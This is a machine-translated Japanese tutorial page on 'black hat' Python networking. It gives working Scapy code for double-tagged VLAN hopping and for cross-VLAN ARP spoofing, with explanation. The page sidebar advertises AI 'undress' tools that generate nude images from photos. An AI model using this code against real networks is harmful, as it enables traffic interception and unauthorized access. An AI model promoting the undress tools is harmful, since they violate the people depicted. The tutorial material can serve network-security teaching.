VLAN 全体での Python ブラック ハット プログラミング 3.4
VLAN (仮想ローカル エリア ネットワーク) は、イーサネット インタラクション テクノロジーに基づいて構築された仮想ネットワークです。同じ物理ネットワークを複数の VALN に分割するだけでなく、物理ネットワークの障壁を越えて、異なるサブネット内のユーザーを同じ VLAN に割り当てることもできます。 VLAN。図 2 は VLAN 分割の例です。
図 2
VLAN を実装するには、通常、スイッチング機器に基づく 2 種類の VLAN 分割があります。
l スイッチベースのポート分割
l IEEE 802.1q に基づく。プロトコル、拡張イーサネット フレーム形式
第 2 層の VLAN テクノロジーに基づいて、トランキングの概念があり、異なるスイッチ間を接続して、同じ VLAN のメンバーが複数のスイッチ間で通信できるようにします。お互い。スイッチ間の相互接続に使用されるポートはトランク ポートと呼ばれます。 80.2.1q に加えて、Cisco には ISL と呼ばれる独自のトランク プロトコルがあります。
図 3
図 3 は 802.1q データ パケットであり、VLAN タグが追加されている点を除いて、通常のイーサネット フレームと本質的には変わりません。赤い部分の VLAN 識別子は、データ パケットがどの VLAN に属しているかを識別するため、データ ブロードキャストの範囲が VLAN にまたがらないことが保証されます。
それでは、VLAN を越えて通信したい場合、データ パケット内の識別子を変更するだけでよいのでしょうか?
3.4.1 VLAN ホッピング
上記の分析に基づいて、クロス VLAN ping、Vlan1 のホストから Vlan2 のホストに ping 要求を送信するという単純なシナリオを検討します。
具体的なコーディングの前に、VLAN パケット構築の問題を解決する必要があります。Scapy では、Dot1Q クラスを使用して図 3 のタグ部分を構築します。図 4 に示すように。
図 4
これで、クロス VLAN ping リクエストを作成できるようになりました。
#!/usr/bin/python from scapy.all import * packet = Ether(dst="c0:d3:de:ad:be:ef") / \ Dot1Q(vlan=1) / \ Dot1Q(vlan=2) / \ IP(dst="192.168.13.3") / \ ICMP() sendp(packet)
上記のコードでは、ターゲット ホストの MAC アドレスと IP アドレスを指定し、2 つの VLAN 識別子を追加します。1 つ目はデータを送信するホストが配置されている VLAN で、2 つ目は VLAN です。ターゲット ホストが存在する VLAN。スイッチは最初の識別子を削除し、2 番目の識別子を読み取ると、パケットをターゲット ホストに転送します。
3.4.2 VLAN をまたがる ARP スプーフィング
セクション 3.1、3.2、および 3.3 で ARP スプーフィングの問題について議論しています。VLAN はブロードキャスト ドメインを制限するため、前のコードは VLAN をまたいで実行できません。 ARP スプーフィング。ただし、この問題を解決するには、前に作成した ARP スプーフィング データに VLAN 識別子を挿入するだけで済みます。次のコードは、セクション 3.1 で ARP 要求パケットを構築するために使用したコードです。
def build_req(): if options.target is None: pkt = Ether(src=mac, dst='ff:ff:ff:ff:ff:ff') / ARP(hwsrc=mac, psrc=args[0], pdst=args[0]) elif options.target: target_mac = getmacbyip(options.target) if target_mac is None: print "[-] Error: Could not resolve targets MAC address" sys.exit(1) pkt = Ether(src=mac, dst=target_mac) / ARP(hwsrc=mac, psrc=args[0], hwdst=target_mac, pdst=options.target) return pkt
データ パケットの構築の部分で、VLAN 識別子を挿入します:
pkt = Ether(src=mac, dst=target_mac) /Dot1Q(vlan=our_vlan) / Dot1Q(vlan=target_vlan) / ARP(hwsrc=mac, psrc=args[0], hwdst=target_mac, pdst=options.target)
このようにして、VLAN 間での ARP スプーフィングを実現できます。
3.4.3 概要
このセクションでは主に、VLAN 間データ通信と ARP スプーフィングの目的を達成するために、VLAN をスプーフィングするデータ パケットを構築する方法について説明します。この記事の方法は主に 802.1Q プロトコルを対象とし、ポートによって物理的に分離された VLAN には影響しないことに注意してください。
上記は、編集者が紹介した VLAN にわたる Python ブラックハット プログラミング 3.4 の詳細な説明です。ご質問があれば、メッセージを残してください。編集者が返信します。時間。また、PHP 中国語 Web サイトをサポートしていただきありがとうございます。
Python ブラック ハット プログラミング 3.4 クロス VLAN 関連記事をさらに詳しく知りたい場合は、PHP 中国語 Web サイトに注目してください。

ホットAIツール

Undresser.AI Undress
リアルなヌード写真を作成する AI 搭載アプリ

AI Clothes Remover
写真から衣服を削除するオンライン AI ツール。

Undress AI Tool
脱衣画像を無料で

Clothoff.io
AI衣類リムーバー

AI Hentai Generator
AIヘンタイを無料で生成します。

人気の記事

ホットツール

メモ帳++7.3.1
使いやすく無料のコードエディター

SublimeText3 中国語版
中国語版、とても使いやすい

ゼンドスタジオ 13.0.1
強力な PHP 統合開発環境

ドリームウィーバー CS6
ビジュアル Web 開発ツール

SublimeText3 Mac版
神レベルのコード編集ソフト(SublimeText3)

ホットトピック









LinuxターミナルでPythonバージョンを表示する際の許可の問題の解決策PythonターミナルでPythonバージョンを表示しようとするとき、Pythonを入力してください...

PythonのPandasライブラリを使用する場合、異なる構造を持つ2つのデータフレーム間で列全体をコピーする方法は一般的な問題です。 2つのデータがあるとします...

10時間以内にコンピューター初心者プログラミングの基本を教える方法は?コンピューター初心者にプログラミングの知識を教えるのに10時間しかない場合、何を教えることを選びますか...

UvicornはどのようにしてHTTPリクエストを継続的に聞きますか? Uvicornは、ASGIに基づく軽量のWebサーバーです。そのコア機能の1つは、HTTPリクエストを聞いて続行することです...

Pythonでは、文字列を介してオブジェクトを動的に作成し、そのメソッドを呼び出す方法は?これは一般的なプログラミング要件です。特に構成または実行する必要がある場合は...

この記事では、numpy、pandas、matplotlib、scikit-learn、tensorflow、django、flask、and requestsなどの人気のあるPythonライブラリについて説明し、科学的コンピューティング、データ分析、視覚化、機械学習、Web開発、Hの使用について説明します。
